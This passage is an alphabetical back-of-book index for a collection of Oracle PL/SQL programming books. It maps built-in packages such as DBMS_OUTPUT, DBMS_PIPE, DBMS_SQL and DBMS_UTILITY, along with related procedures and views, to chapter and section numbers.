5.2. p: a DBMS_OUTPUT Substitute, Advanced Oracle PL/SQL Programming with Packages
PUT_LINE procedure: 2.8.1.1. Supporting many data combinations, Advanced Oracle PL/SQL Programming with Packages
buffer size: 6.1.2.1. The DBMS_OUTPUT.ENABLE procedure, Oracle Built-in Packages
concepts: 6.1.1.2. DBMS_OUTPUT concepts, Oracle Built-in Packages
creating: 6.1.1. Getting Started with DBMS_OUTPUT, Oracle Built-in Packages
data structures: 6.1.1.4. DBMS_OUTPUT nonprogram elements, Oracle Built-in Packages
datatypes supported: 6.1.1.2. DBMS_OUTPUT concepts, Oracle Built-in Packages
drawbacks: 6.1.1.5. Drawbacks of DBMS_OUTPUT, Oracle Built-in Packages
encapsulating: 6.1.6.1. Encapsulating DBMS_OUTPUT, Oracle Built-in Packages
example: 6.1.6. DBMS_OUTPUT Examples, Oracle Built-in Packages
exceptions: 6.1.1.3. DBMS_OUTPUT exceptions, Oracle Built-in Packages
unhandled exceptions: 6.1.5. Tips on Using DBMS_OUTPUT, Oracle Built-in Packages
pinning in SGA shared pool: 25.2.2.1. Candidates for pinning in the shared pool, Oracle PL/SQL Programming
privileges: 6.1.1. Getting Started with DBMS_OUTPUT, Oracle Built-in Packages
programs contained in: 6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
tips for using: 6.1.5. Tips on Using DBMS_OUTPUT, Oracle Built-in Packages
DBMS_PIPE package
(see also message buffers; messages (pipes)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.5.1.1. Leveraging builtin packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
6.2.1.3. Trapping system errors, Guide to Oracle8i Features
C.10. DBMS_PIPE, Oracle PL/SQL Programming
PL/SQL server implementation using: 3.1.7.4. Implementing a server program, Oracle Built-in Packages
applications of: 3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
creating: 3.1.1. Getting Started with DBMS_PIPE, Oracle Built-in Packages
examples: 3.1.7. DBMS_PIPE Examples, Oracle Built-in Packages
exceptions: 3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
external services and: 3.1.7.1. Communicating with the outside world, Oracle Built-in Packages
logging and: 3.1.7.4. Implementing a server program, Oracle Built-in Packages
nontransactional behavior: 3.1.2.2. Nontransactional communications, Oracle Built-in Packages
privileges: 3.1.1. Getting Started with DBMS_PIPE, Oracle Built-in Packages
programs contained in: 3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
sending/receiving relationship: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
tips on using: 3.1.6. Tips on Using DBMS_PIPE, Oracle Built-in Packages
DBMS_PROFILER package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_RANDOM package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
10.4. DBMS_RANDOM: Generating Random Numbers (Oracle8 Only), Oracle Built-in Packages
10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
creating: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
exceptions: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
privileges: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
programs contained in: 10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
DBMS_RECTIFIER_DIFF package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
15.5. DBMS_RECTIFIER_DIFF: Comparing Replicated Tables, Oracle Built-in Packages
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
creating: 15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
exceptions: (see specific program names)
privileges: 15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
programs contained in: 15.5.1. Getting Started with DBMS_RECTIFIER_DIFF, Oracle Built-in Packages
DBMS_REFRESH package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
14.2. DBMS_REFRESH: Managing Snapshot Groups, Oracle Built-in Packages
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
creating: 14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
exceptions: 14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
privileges: 14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
programs contained in: 14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
DBMS_REPAIR package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_REPCAT package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
14.4. DBMS_REPCAT: Managing Snapshot Replication Groups, Oracle Built-in Packages
15.3.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
16. Conflict Resolution, Oracle Built-in Packages
creating
14.4.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
15.3.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
16.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
data dictionary views: 16.1.4. Data Dictionary Views, Oracle Built-in Packages
exceptions
14.4.1.2. DBMS_REPCAT exceptions, Oracle Built-in Packages
15.3.1.2. Exceptions, Oracle Built-in Packages
16.1.2. DBMS-REPCAT Exceptions, Oracle Built-in Packages
privileges
14.4.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
15.3.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
16.1. Getting Started with DBMS_REPCAT, Oracle Built-in Packages
programs contained in
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
DBMS_REPCAT_ADMIN package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
15.2. DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts, Oracle Built-in Packages
15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
creating: 15.2.1. Getting Started with DBMS_REPCAT_ADMIN, Oracle Built-in Packages
exceptions: 15.2.1.2. DBMS_REPCAT_ADMIN exceptions, Oracle Built-in Packages
privileges: 15.2.1. Getting Started with DBMS_REPCAT_ADMIN, Oracle Built-in Packages
programs contained in: 15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
DBMS_REPCAT_AUTH package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
15.1.1. Getting Started with DBMS_REPCAT_AUTH, Oracle Built-in Packages
15.1.1.1. DBMS_REPCAT_AUTH programs, Oracle Built-in Packages
creating: 15.1.1. Getting Started with DBMS_REPCAT_AUTH, Oracle Built-in Packages
exceptions: 15.1.1.2. DBMS_REPCAT_AUTH exceptions, Oracle Built-in Packages
privileges: 15.1.1. Getting Started with DBMS_REPCAT_AUTH, Oracle Built-in Packages
programs contained in: 15.1.1.1. DBMS_REPCAT_AUTH programs, Oracle Built-in Packages
DBMS_REPCAT_FLA package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_REPCAT_FLA_MAS package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_REPCAT_FLA_UTL package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_REPUTIL package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
15.6. DBMS_REPUTIL: Enabling and Disabling Replication, Oracle Built-in Packages
15.6.1. Getting Started with DBMS_REPUTIL, Oracle Built-in Packages
programs contained in: 15.6.1. Getting Started with DBMS_REPUTIL, Oracle Built-in Packages
DBMS_RESOURCE_MANAGER package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_RESOURCE_MANAGER_PRIVS package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_RLS package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
7.3. DBMS_RLS: Implementing Fine-Grained Access Control, Guide to Oracle8i Features
8.1. FGAC Components, Guide to Oracle8i Features
DBMS_ROWID package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
9.1. DBMS_ROWID: Working with the ROWID Pseudo-Column (Oracle8 only), Oracle Built-in Packages
9.1.1.1. DBMS_ROWID programs, Oracle Built-in Packages
C.11. DBMS_ROWID (PL/SQL8 Only), Oracle PL/SQL Programming
creating: 9.1.1. Getting Started with DBMS_ROWID, Oracle Built-in Packages
data structures: 9.1.1.3. DBMS_ROWID nonprogram elements, Oracle Built-in Packages
exceptions: 9.1.1.2. DBMS_ROWID exceptions, Oracle Built-in Packages
privileges: 9.1.1. Getting Started with DBMS_ROWID, Oracle Built-in Packages
programs contained in: 9.1.1.1. DBMS_ROWID programs, Oracle Built-in Packages
DBMS_RULE package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_RULE_ADM package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_RULE_EXIMP package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_SESSION package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
11.1. DBMS_SESSION: Managing Session Information, Oracle Built-in Packages
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
C.12. DBMS_SESSION, Oracle PL/SQL Programming
creating: 11.1.1. Getting Started with DBMS_SESSION, Oracle Built-in Packages
enhancing: 11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
exceptions: 11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
privileges: 11.1.1. Getting Started with DBMS_SESSION, Oracle Built-in Packages
program use: 11.1.5. DBMS_SESSION Examples, Oracle Built-in Packages
programs contained in: 11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
DBMS_SHARED_POOL package
(see also specific program names)
1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
12.2. DBMS_SHARED_POOL: Pinning Objects, Oracle Built-in Packages
12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
creating: 12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
examples: 12.2.4. DBMS_SHARED_POOL Examples, Oracle Built-in Packages
exceptions: 12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
privileges: 12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
programs contained in: 12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
DBMS_SNAPSHOT package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
14.1. DBMS_SNAPSHOT: Managing Snapshots, Oracle Built-in Packages
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
C.13. DBMS_SNAPSHOT, Oracle PL/SQL Programming
creating: 14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
exceptions: 14.1.2. Using the I_AM_A_REFRESH Package State Variable, Oracle Built-in Packages
privileges: 14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
programs contained in: 14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
DBMS_SPACE package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
12.1. DBMS_SPACE: Obtaining Space Information, Oracle Built-in Packages
12.1.1. Getting Started with DBMS_SPACE, Oracle Built-in Packages
creating: 12.1.1. Getting Started with DBMS_SPACE, Oracle Built-in Packages
encapsulating: 12.1.3. DBMS_SPACE Examples, Oracle Built-in Packages
exceptions: 12.1.1. Getting Started with DBMS_SPACE, Oracle Built-in Packages
privileges: 12.1.1. Getting Started with DBMS_SPACE, Oracle Built-in Packages
programs contained in: 12.1.1. Getting Started with DBMS_SPACE, Oracle Built-in Packages
DBMS_SPACE_ADMIN package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_SQL compared to native dynamic SQL: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
DBMS_SQL package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
19. PLVdyn and PLVfk: Dynamic SQL and PL/SQL, Advanced Oracle PL/SQL Programming with Packages
19.3. The Dynamic Packages of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
19.5.6.1. Open and parse, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
2. Executing Dynamic SQL and PL/SQL, Oracle Built-in Packages
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
3.1.4. Dynamic SQL and Definer Rights, Guide to Oracle8i Features
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
C.14. DBMS_SQL, Oracle PL/SQL Programming
BIND_VARIABLE: 5.20.8. Miscellaneous PLVobj programs, Advanced Oracle PL/SQL Programming with Packages
DDL statement execution
2. Executing Dynamic SQL and PL/SQL, Oracle Built-in Packages
2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
binding versus concatenation: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
EXECUTE procedure: 19.5.4. Checking feedback on DML, Advanced Oracle PL/SQL Programming with Packages
Oracle8 datatype restrictions: 2.4.1. Some Restrictions, Oracle Built-in Packages
SQL statements, language version in parsing: 2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
array processing with: 2.5.6. Array Processing with DBMS_SQL, Oracle Built-in Packages
batch processing: 25.3.4. Take Advantage of DBMS_SQL Batch Processing, Oracle PL/SQL Programming
creating: 2.2.1. Creating the DBMS_SQL Package, Oracle Built-in Packages
examples: 2.5. DBMS_SQL Examples, Oracle Built-in Packages
RETURNING clause, use of: 2.5.7. Using the RETURNING Clause in Dynamic SQL, Oracle Built-in Packages
array processing: 2.5.6. Array Processing with DBMS_SQL, Oracle Built-in Packages
displaying table contents with Method 4 dynamic SQL: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
encapsulating DESCRIBE_COLUMNS: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
generic drop_object procedure: 2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
generic foreign key lookup: 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
indirect referencing: 2.5.5. Indirect Referencing in PL/SQL, Oracle Built-in Packages
exceptions: 2.2.5. DBMS_SQL Exceptions, Oracle Built-in Packages
nested variable restrictions: 2.4.1. Some Restrictions, Oracle Built-in Packages
objects, restrictions on: 2.4.1. Some Restrictions, Oracle Built-in Packages
performance improvement using: 2.4.5. Improving the Performance of Dynamic SQL, Oracle Built-in Packages
privileges
2.2.1. Creating the DBMS_SQL Package, Oracle Built-in Packages
2.4.2. Privileges and Execution Authority with DBMS_SQL, Oracle Built-in Packages
processing flow: 2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
programs contained in: 2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
variable arrays: 2.4.1. Some Restrictions, Oracle Built-in Packages
DBMS_STANDARD package: 1.4.2. The DBMS_STANDARD Package, Oracle Built-in Packages
pinning in SGA shared pool: 25.2.2.1. Candidates for pinning in the shared pool, Oracle PL/SQL Programming
DBMS_STANDARD packages: 1.2. What Are the Types and Layers of Packages?, Advanced Oracle PL/SQL Programming with Packages
DBMS_STATS package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_SUMMARY package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_SYSTEM package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
11.2. DBMS_System: Setting Events for Debugging, Oracle Built-in Packages
11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
creating: 11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
encapsulating: 11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages
exceptions: 11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
privileges: 11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
programs contained in: 11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
DBMS_TRACE package
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility, Guide to Oracle8i Features
DBMS_TRANSACTION package
(see also specific program names)
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
4.2. DBMS_TRANSACTION: Interfacing to SQL Transaction Statements, Oracle Built-in Packages
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
C.15. DBMS_TRANSACTION, Oracle PL/SQL Programming
commitment: 4.2.3. Committing Data, Oracle Built-in Packages
creating: 4.2.1. Getting Started with DBMS_TRANSACTION, Oracle Built-in Packages
exceptions in: 4.2.1.2. DBMS_TRANSACTION exceptions, Oracle Built-in Packages
privileges: 4.2.1. Getting Started with DBMS_TRANSACTION, Oracle Built-in Packages
programs contained in: 4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
rollback: 4.2.4. Rolling Back Changes, Oracle Built-in Packages
transaction characteristics: 4.2.5. Setting Transaction Characteristics, Oracle Built-in Packages
DBMS_TTS package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
DBMS_UTILITY package
(see also specific program names)
1.5.1. Builtin Packages, Advanced Oracle PL/SQL Programming with Packages
1.2. Built-in Packages Covered in This Book, Oracle Built-in Packages
10.1. DBMS_UTILITY: Performing Miscellaneous Operations, Oracle Built-in Packages
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
7.7. New DBMS_UTILITY Features, Guide to Oracle8i Features
C.16. DBMS_UTILITY, Oracle PL/SQL Programming
FORMAT_CALL_STACK function: 21.2.2. Accessing the PL/SQL Call Stack, Advanced Oracle PL/SQL Programming with Packages
GET_TIME Function: 25.1.1. Use the DBMS_UTILITY.GET_TIME Function, Oracle PL/SQL Programming
GET_TIME function: 14. PLVtmr: Analyzing Program Performance, Advanced Oracle PL/SQL Programming with Packages
NAME_RESOLVE procedure: 11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
creating: 10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
pinning in SGA shared pool: 25.2.2.1. Candidates for pinning in the shared pool, Oracle PL/SQL Programming
privileges: 10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
programs contained in: 10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
tables used by: 10.1.1.1. DBMS_UTILITY nonprogram elements, Oracle Built-in Packages
DBXML package: 9.6. PLSXML Utilities and Demos, Oracle Web Applications
DBXSL package: 9.6. PLSXML Utilities and Demos, Oracle Web Applications
DB_VERSION procedure
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.8. The DBMS_UTILITY.DB_VERSION procedure, Oracle Built-in Packages
DDL (Data Definition Language)
19.4.1. DDL Operations , Advanced Oracle PL/SQL Programming with Packages
1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i), Guide to Oracle8i Features
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
DBMS_DDL package for: C.4. DBMS_DDL, Oracle PL/SQL Programming
object privileges and: 18.3.7.1. DDL, Oracle PL/SQL Programming
operations: 5.9.4. Data Definition Language operations, Advanced Oracle PL/SQL Programming with Packages
schemas: 19.5.10.2. Avoiding schema confusion for DDL, Advanced Oracle PL/SQL Programming with Packages
statements
1.4.4.2. Support for DDL and dynamic SQL, Oracle PL/SQL Programming
commitment and: 10.3.1. Getting Started with DBMS_DDL, Oracle Built-in Packages
deferred parsing and: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
executing
2. Executing Dynamic SQL and PL/SQL, Oracle Built-in Packages
2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
10.1.2.9. The DBMS_UTILITY.EXEC_DDL_STATEMENT procedure, Oracle Built-in Packages
at replicated sites: 15.3.3.4. The DBMS_REPCAT.EXECUTE_DDL procedure, Oracle Built-in Packages
binding versus concatenation: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
locking and: 2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
privileges and: 2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
DEC subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
DECIMAL subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
DECLARE keyword, PL/SQL: 6.1. Structured Programming in PL/SQL , Oracle Web Applications
DECLARE statement: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
DECODE function
in MAKE_REF funfction: 20.4.2.3. Working around the ORA-22972 problem, Oracle PL/SQL Programming
DECODE function, replacing with IF: 17.8.4. Replacing DECODEs with IF Statements, Oracle PL/SQL Programming
DEFAULT keyword: 4.4.3. Default Values, Oracle PL/SQL Programming
DEFCALL view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFCALLDEST view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFDEFAULTDEST view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFERROR view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFERRORCOUNT view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFINE_ARRAY procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.5.2. The DBMS_SQL.DEFINE_ARRAY procedure, Oracle Built-in Packages
index-by tables used by: 2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
multiple-row COLUMN_VALUE requires: 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
DEFINE_ARRAY program: 25.3.4. Take Advantage of DBMS_SQL Batch Processing, Oracle PL/SQL Programming
DEFINE_COLUMN procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure, Oracle Built-in Packages
C.14.5. The DEFINE_COLUMN procedure, Oracle PL/SQL Programming
Method 4 dynamic SQL and: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
single-row COLUMN_VALUE requires: 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
tips about: 2.5.4.5. Defining the cursor structure, Oracle Built-in Packages
DEFINE_COLUMN_CHAR procedure: 2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure, Oracle Built-in Packages
DEFINE_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.2.2.1. The DBMS_REPCAT.DEFINE_COLUMN_GROUP procedure, Oracle Built-in Packages
DEFINE_COLUMN_LONG procedure: 2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
DEFINE_COLUMN_RAW procedure: 2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure, Oracle Built-in Packages
DEFINE_COLUMN_ROWID procedure: 2.3.5.1. The DBMS_SQL.DEFINE_COLUMN procedure, Oracle Built-in Packages
DEFINE_PRIORITY_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.3.2.1. The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure, Oracle Built-in Packages
DEFINE_SITE_PRIORITY procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.4.2.1. The DBMS_REPCAT.DEFINE_SITE_PRIORITY procedure, Oracle Built-in Packages
DEFSCHEDULE view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFTRAN view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEFTRANDEST view: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
DEL column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
DELETE procedure: 10.8.2.2. The DELETE procedure, Oracle PL/SQL Programming
THE function with: 19.5.1. The THE Pseudo-function, Oracle PL/SQL Programming
removing collection elements: 19.4.3.2. Removing elements using DELETE, Oracle PL/SQL Programming
DELETE statement
(see also DML statements)
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
4. Native Dynamic SQL in Oracle8i, Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
10.3. PL/SQL Tables and DML Statements, Oracle PL/SQL Programming
multiple-row deletes
2.5.6.2. Using array processing to delete, Oracle Built-in Packages
2.5.7.2. RETURNING from a multiple-row delete, Oracle Built-in Packages
WHERE CURRENT OF clause: 6.11.2. The WHERE CURRENT OF Clause, Oracle PL/SQL Programming
DELETE_DEFAULT_DEST procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.2.2. The DBMS_DEFER.SYS.DELETE_DEFAULT_DEST procedure, Oracle Built-in Packages
DELETE_ERROR procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.4.1. The DBMS_DEFER_SYS.DELETE_ERROR procedure, Oracle Built-in Packages
DELETE_OBJECT procedure: 9.2.5.1. The UTL_REF.DELETE_OBJECT procedure, Oracle Built-in Packages
DELETE_TRAN procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.4.2. The DBMS_DEFER_SYS.DELETE_TRAN procedure, Oracle Built-in Packages
DEQUEUE option, GRANT_QUEUE_PRIVILEGE procedure: 7.6.3.1. GRANT_QUEUE_PRIVILEGE: Granting queue-level privileges, Guide to Oracle8i Features
DEQUEUE procedure
5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only), Oracle Built-in Packages
5.4.2.1. The DBMS_AQ.DEQUEUE procedure , Oracle Built-in Packages
C.3.1.2. The DEQUEUE procedure, Oracle PL/SQL Programming
DBMS_AQ package: 7.6.4.2. LISTEN: Listening for messages, Guide to Oracle8i Features
DEQUEUE_ANY option, GRANT_SYSTEM_PRIVILEGE procedure: 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges, Guide to Oracle8i Features
DEREF function
18.4.2.4. DEREF, Oracle PL/SQL Programming
virtual REFs and: 20.4.2.4. DEREF: Interpreting a virtual REF, Oracle PL/SQL Programming
DESCRIBE command: 17.2. Current Sources of Information, Advanced Oracle PL/SQL Programming with Packages
DESCRIBE level: 10.2.2.2. The DESCRIBE level, Oracle Built-in Packages
DESCRIBE_COLUMNS procedure
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
declarations needed for: 2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
encapsulating: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
DESCRIBE_PROCEDURE procedure
(see also DBMS_DESCRIBE package)
10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure, Oracle Built-in Packages
DESC_T table
describing columns and: 2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
encapsulating: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
DESTROY procedure
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
14.2.2.2. The DBMS_REFRESH.DESTROY procedure, Oracle Built-in Packages
DES_ENCRYPTED_PASSWORD attribute, schema-level event: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
DETERMINISTIC keyword
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers), Guide to Oracle8i Features
10.2.2.2. Deterministic functions , Guide to Oracle8i Features
DEV account: 4.4.1. Special Handling for PLVdyn, Advanced Oracle PL/SQL Programming with Packages
DICTIONARY_OBJ_NAME attribute, schema-level events: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
DICTIONARY_OBJ_OWNER attribute, schema-level events: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
